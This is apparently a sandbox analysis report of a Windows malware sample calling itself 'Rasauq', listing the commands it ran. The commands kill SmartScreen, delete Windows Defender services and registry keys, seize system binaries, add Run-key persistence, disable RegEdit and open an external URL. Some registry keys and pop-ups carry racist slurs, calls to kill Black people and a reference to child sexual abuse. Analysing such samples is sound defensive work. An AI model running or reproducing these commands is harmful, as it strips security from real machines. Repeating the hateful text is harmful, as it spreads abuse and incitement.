C:\Windows\system32\taskkill.exetaskkill /F /IM smartscreen.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant Administrators:F /t /c /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Program Files\Windows Defender" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Windows Defender" /grant Administrators:F /t /c /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /f4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\notepad.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\notepad.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\calc.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\calc.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Taskmgr.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Taskmgr.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\powercfg.exepowercfg /hibernate off REM Disables hibernation4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-ac 0 REM Prevents sleep while plugged in4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-dc 0 REM Prevents sleep on battery4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-ac 0 REM Prevent sleep when plugged in4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /devicedisablewake "Device Name"4⤵
- Power Settings
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /devicedisablewake "USB Root Hub"4⤵
- Power Settings
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Service" /t REG_SZ /d "" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\system32\reg.exereg add "HKCR\behead all niggers" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCC\SOFTWARE\hello today guys i will be killing all the niggas while warching loli" /f4⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "LetsRemoveRasauq"4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "RasauqRemover" /t REG_SZ /d "\"\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKU" /s /f "Software" /k4⤵
-
C:\Windows\system32\reg.exereg query "HKU" /s /f "Software" /k5⤵
-
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\AppDataLow\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Speech_OneCore\Isolated\hI8XsvMZLfGME4pGvcu5ybXE8iojEgqtSsGWO-tcVAk\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Speech_OneCore\Isolated\hI8XsvMZLfGME4pGvcu5ybXE8iojEgqtSsGWO-tcVAk\HKEY_CURRENT_USER\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000_Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-814918696-1585701690-3140955116-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "End of search: 26 match(es) found.\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:3 "This machine has been compromised by Rasuaq"4⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f4⤵
- Disables RegEdit via registry modification
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://pattern-cyber-report.glitch.me/5⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x238,0x23c,0x240,0x234,0x25c,0x7ffb56a1f208,0x7ffb56a1f214,0x7ffb56a1f2206⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=fallback-handler --database="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --exception-pointers=112115826672576 --process=264 /prefetch:7 --thread=55407⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2212,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1988,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2540,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3520,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3540,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4860,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=5020,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=5352,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=5528,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=5888,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=6028,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=6336,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=6548,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6832,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=6888 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6860,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=6948 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7284,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=7296 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=7660,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=7668 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=8076,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=8116 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7432,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=7288 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7432,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=7288 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=8500,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=8520 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=7888,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=7872 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=8280,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=8068 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=6140,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=7816 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --field-trial-handle=6588,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --field-trial-handle=8804,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=8852 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --field-trial-handle=9028,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=9068 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --field-trial-handle=8988,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=9152 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --field-trial-handle=9428,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=9408 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --field-trial-handle=9532,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=9552 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --field-trial-handle=9728,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=9516 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --field-trial-handle=9880,i,15504862534866253999,8946044802331815384,262144 --variations-seed-version --mojo-platform-channel-handle=9920 /prefetch:16⤵
-
-
